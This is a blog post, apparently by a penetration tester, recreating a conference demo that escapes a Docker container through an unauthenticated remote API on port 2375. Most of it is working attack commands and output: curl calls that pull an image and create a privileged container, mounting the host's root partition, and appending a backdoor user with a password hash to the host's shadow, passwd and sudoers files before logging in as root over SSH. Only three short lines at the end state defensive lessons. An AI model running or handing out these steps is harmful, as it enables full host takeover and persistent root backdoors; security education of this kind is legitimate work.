Breaking out of the container without Zero Day — Can that happen to me?

On the 30.5.2019 I Presented at OWASP Global AppSec Tel Aviv conference with my team leader Asher Genachowski.

The lecture was focused on docker containers security, security best practices, the dangers of privileged containers and more.

The following steps allow anyone who desire to recreate the demo by themselves.

The start point is an already-have shell access (assuming we hacked an application running on a container and we gained shell access)

Step 1:

Now that we have a shell on the container, we don’t really sure on what kind of system we hacked into, therefore we want to to find out “where we are”.

The first command will help us find the current control group that the system runs on.

#cat /proc/1/cgroup

The result should be as follows:

11:freezer:/docker/038edd8a7c268775214113afe613fcc8d91aa8cd13704031204fc37cdc599bad
10:hugetlb:/
docker/038edd8a7c268775214113afe613fcc8d91aa8cd13704031204fc37cdc599bad
9:perf_event:/
docker/038edd8a7c268775214113afe613fcc8d91aa8cd13704031204fc37cdc599bad
8:pids:/
docker/038edd8a7c268775214113afe613fcc8d91aa8cd13704031204fc37cdc599bad
7:net_cls,net_prio:/
docker/038edd8a7c268775214113afe613fcc8d91aa8cd13704031204fc37cdc599bad
6:memory:/
docker/038edd8a7c268775214113afe613fcc8d91aa8cd13704031204fc37cdc599bad
5:cpu,cpuacct:/
docker/038edd8a7c268775214113afe613fcc8d91aa8cd13704031204fc37cdc599bad
4:devices:/
docker/038edd8a7c268775214113afe613fcc8d91aa8cd13704031204fc37cdc599bad
3:blkio:/
docker/038edd8a7c268775214113afe613fcc8d91aa8cd13704031204fc37cdc599bad
2:cpuset:/
docker/038edd8a7c268775214113afe613fcc8d91aa8cd13704031204fc37cdc599bad
1:name=systemd:/
docker/038edd8a7c268775214113afe613fcc8d91aa8cd13704031204fc37cdc599bad

Congratulations! We have reached a docker container.

Step 2:

What now? We need some additional information about the system, as in which user context we are running on, gathering network information and so on.
We will gather this information by running different commands as:

#whoami < works! shows the current user running as “root”

#netstat < doesn’t work (command not found)

#ifconfig < doesn’t work (command not found)

#ip addr show < doesn’t work (command not found)

#hostname -I < shows that the current IP is 172.17.0.2

These commands might work / not work on different containers’ images. In this case I used (ubuntu:18.04) from the official docker hub.

Now that we have the container IP address and we know the network segment, we can guess pretty easily that the host machine is 172.17.0.1, but not necessarily. This is important for us to find, as the default gateway represents the containers host.

But why we need the host machine IP address? Because we are going to use this IP address to try and communicate with the Docker remote API on the host.

Step 3:

Lets check if the docker remote API is listening on a TCP socket with the default 2375 port over HTTP.

Accessing the Docker remote API is equivalent to accessing with root permissions on the host machine.

By default, the Docker remote API is listening on a UNIX socket which is accessible only by users on the host machine with the ‘docker’ group privileges or any other high-privileged group.

But what happens if we want to manage multi-hosts environment and we do not want to manage each of them separately.

We will probably use a management software such as : Rancher, Docker compose, Portainer etc.

In order to manage more than one host with these software, it is necessary to change the configuration of the Docker remote API, to listen not only on the UNIX socket, but also on a TCP socket, which means that the Docker remote API will also “bind” to the network interface and be accessible through HTTP requests without any authentication.

Running the following command will check if the docker Remote API is accessible through the 2375 port over HTTP protocol, which is not encrypted, and will also provide information about current running containers:

#curl http://172.17.0.1:2375/containers/json

If a long json output is received, that means that the docker Remote API is accessible to any user without authentication!

[{“Id”:”038edd8a7c268775214113afe613fcc8d91aa8cd13704031204fc37cdc599bad”,”Names”:[“/infallible_swirles”],”Image”:”ubuntu:18.04",”ImageID”:”sha256:92e46f6fc2acc229673f79819ad4221f4e5ce1c3a4a72e4ee61fb96fd01f1194",”Command”:”/bin/bash”,”Created”:1558424026,”Ports”:[],”Labels”:{},”State”:”running”,”Status”:”Up 3 hours”,”HostConfig”:{“NetworkMode”:”default”},”NetworkSettings”:{“Networks”:{“bridge”:{“IPAMConfig”:null,”Links”:null,”Aliases”:null,”NetworkID”:”e9f9a092bf461a542fbf7940012b6075536467476c8dcf8c1d36b85aee0184a8",”EndpointID”:”bd4cc6d5feec896df6c61f838b35ecf24d264623f884f9c1eba26f68c8f388da”,”Gateway”:”172.17.0.1",”IPAddress”:”172.17.0.2",”IPPrefixLen”:16,”IPv6Gateway”:””,”GlobalIPv6Address”:””,”GlobalIPv6PrefixLen”:0,”MacAddress”:”02:42:ac:11:00:02",”DriverOpts”:null}}},”Mounts”:[]}]

Step 4:

On this step we will download an image that I have created in advance for the live demo which has SSH-client pre-installed.

#curl -XPOST http://172.17.0.1:2375/images/create?fromImage=dockerbash/dont-try-at-home

{“status”:”Pulling from dockerbash/dont-try-at-home”,”id”:”latest”}
{“status”:”Pulling fs layer”,”progressDetail”:{},”id”:”d0c434c0359e”}
{“status”:”Pulling fs layer”,”progressDetail”:{},”id”:”8be24f5b550f”}
{“status”:”Downloading”,”progressDetail”:{“current”:27835,”total”:2752091},”progress”:”[\u003e ] 27.84kB/2.752MB”,”id”:”d0c434c0359e”}
{“status”:”Pull complete”,”progressDetail”:{},”id”:”8be24f5b550f”}
{“status”:”Digest: sha256:bb4b0fcdf6d4808903f7b0269a0c3e90b1f52a8f1af942a62428324612dbf12b”}
{“
status”:”Status: Downloaded newer image for dockerbash/dont-try-at-home”}

The last line represents that the image was successfully downloaded to the host machine.

Step 5:

Now we are going to use the image that we have just downloaded in the previous step to create a container. We will create it with the Privileged flag which means that the container will have access to all the kernel capabilities.
Running a privileged container is equivalent to giving root on the host machine, since the container have privileges to use any kernel capability. (by default every container have seccomp profile attached with 44 disabled capabilities).

The following command will create a container, with the name “maglan”, the “Privileged” flag set to “true”, use our “dont-try-at-home” pre-dowloaded image, and with the hostname “accenture-security”.

#curl -X POST -H “Content-Type: application/json” http://172.17.0.1:2375/containers/create?name=maglan -d ‘{
“Privileged”: true,
“Tty”: true,
“Image”:”dockerbash/dont-try-at-home”,
“Hostname”:”accenture-security”
}’

The result is the ID of the container which will be used in the next step in order to start the container (so keep it safe).

{“Id”:”4c86bc30e873387c6d9f4602185abb572fe75017d7eaa4aac60733871f5c0690",”Warnings”:null}

Step 6:

Starting the container that we’ve just created:

#curl -XPOST http://172.17.0.1:2375/containers/PUT-THE-ID-HERE/start

If no error is presented from this command, the container is running!

Check for “running” containers:

#curl http://172.17.0.1:2375/containers/json | grep running

[{“Id”:”4c86bc30e873387c6d9f4602185abb572fe75017d7eaa4aac60733871f5c0690",”Names”:[“/maglan”],”Image”:”dockerbash/dont-try-at-home”,”ImageID”:”sha256:5b9bbdd53f5bc53bba4ed93d7100af76f207e6aa448985c0e5c0b035ca7a20f4",”Command”:”/bin/sh”,”Created”:1574079811,”Ports”:[],”Labels”:{},”State”:”running”,”Status”:”Up 53 seconds”,”HostConfig”:{“NetworkMode”:”default”},”NetworkSettings”:{“Networks”:{“bridge”:{“IPAMConfig”:null,”Links”:null,”Aliases”:null,”NetworkID”:”e9f9a092bf461a542fbf7940012b6075536467476c8dcf8c1d36b85aee0184a8",”EndpointID”:”9d43752580eebcca14880a0af2e8cddc8eac2663b9db1baecaf3cf08e45b485a”,”Gateway”:”172.17.0.1",”IPAddress”:”172.17.0.3",

Voila! The container is running! Now we have to connect to the container.

Step 7:

As we found out on step 2, the application that we have hacked is running as the root user, which means that we can do anything we want inside the container!

In this step we are going to download docker inside a docker container! (Isn’t that sounds great?)

#apt update && apt install docker.io -y

That might take some time so be patient.

Step 8:

Now that we have docker installed inside our docker container, we can use the “visualized” way to control docker commands.

let’s see which containers are currently running :

#docker -H 172.17.0.1 ps -a

According to the output there’s a running container with the name “maglan” and the ‘dont-try-at-home’ image.

Step 9:

After we created the container and started it, it’s the time to connect!

#docker -H 172.17.0.1 exec -it maglan /bin/bash

#hostname

If the output is “accenture-security” then the connection was successful.

Step 10:

Because we added the “privileged” flag while creating the container, the container has access to the kernel capability, including the ability to mount the host’s “root” partition. This will be done with the following commands:

First, create a separate folder for the partition to be mounted on:

#mkdir /mount/

Second, check which partition on the system is the main partition by using the fdisk utility:

#fdisk -l

Disk /dev/sda: 20 GB, 21474836480 bytes, 41943040 sectors
2610 cylinders, 255 heads, 63 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Device Boot StartCHS EndCHS StartLBA EndLBA Sectors Size Id Type
/dev/sda1 * 0,32,33 1023,254,63 2048 39942143 39940096 19.0G 83 Linux
/dev/sda2 1023,254,63 1023,254,63 39944190 41940991 1996802 975M 5 Extended
/dev/sda5 1023,254,63 1023,254,63 39944192 41940991 1996800 975M 82 Linux swap

On my system, we can see by the “*” that /dev/sda1 is the main partition.
The next command will mount /dev/sda1 into the “/mount/” directory.

#mount /dev/sda1 /mount/

Step 11:

Let’s the show begin!

In this step we will add a new user to the host machine with high privileges, by adding the user to the shadow, passwd and the sudoers files!

#cd /mount/etc

Add a user with the name ‘maglan’ and password ‘123123’ to the host “shadow” file:

#echo ‘maglan:$6$UKqlNcOa$gELJFMMATIKSavvD5F8JdEec0tKsOdzXfWA7fY01YAghmJE8RKr9FgIBZPJJ58Rpwd8kfVqjRu3tm052JyD7g0:17974:0:99999:7:::’ >> shadow

Add the ‘maglan’ user to the host “passwd” file:

#echo ‘maglan:x:1001:1001::/home/maglan:’ >> passwd

Add the ‘maglan’ user to the sudoers file, and give it full privileges on the host:

#echo ‘maglan ALL=(ALL:ALL) ALL’ >> sudoers

And now , It’s finally time to check out if the hard work was worth it!

Connect to the host machine by the “ssh” command:

#ssh maglan@172.17.0.1

Provide the “123123” password , If the connection was successful, you will be able to run commands as the root user.

To verify the user privileges, run the following command and expect the output hereafter:

#sudo id

uid=0(root) gid=0(root) groups=0(root)

Congratulations you have just broke out of the container without a Zero-Day!

Security best Practices that is involved in the scenario were:

  1. Services inside containers running as root
  2. Remote API without Authentication
  3. Containers not isolated from the host, they could reach the host on any port.

Penetration Tester @eBay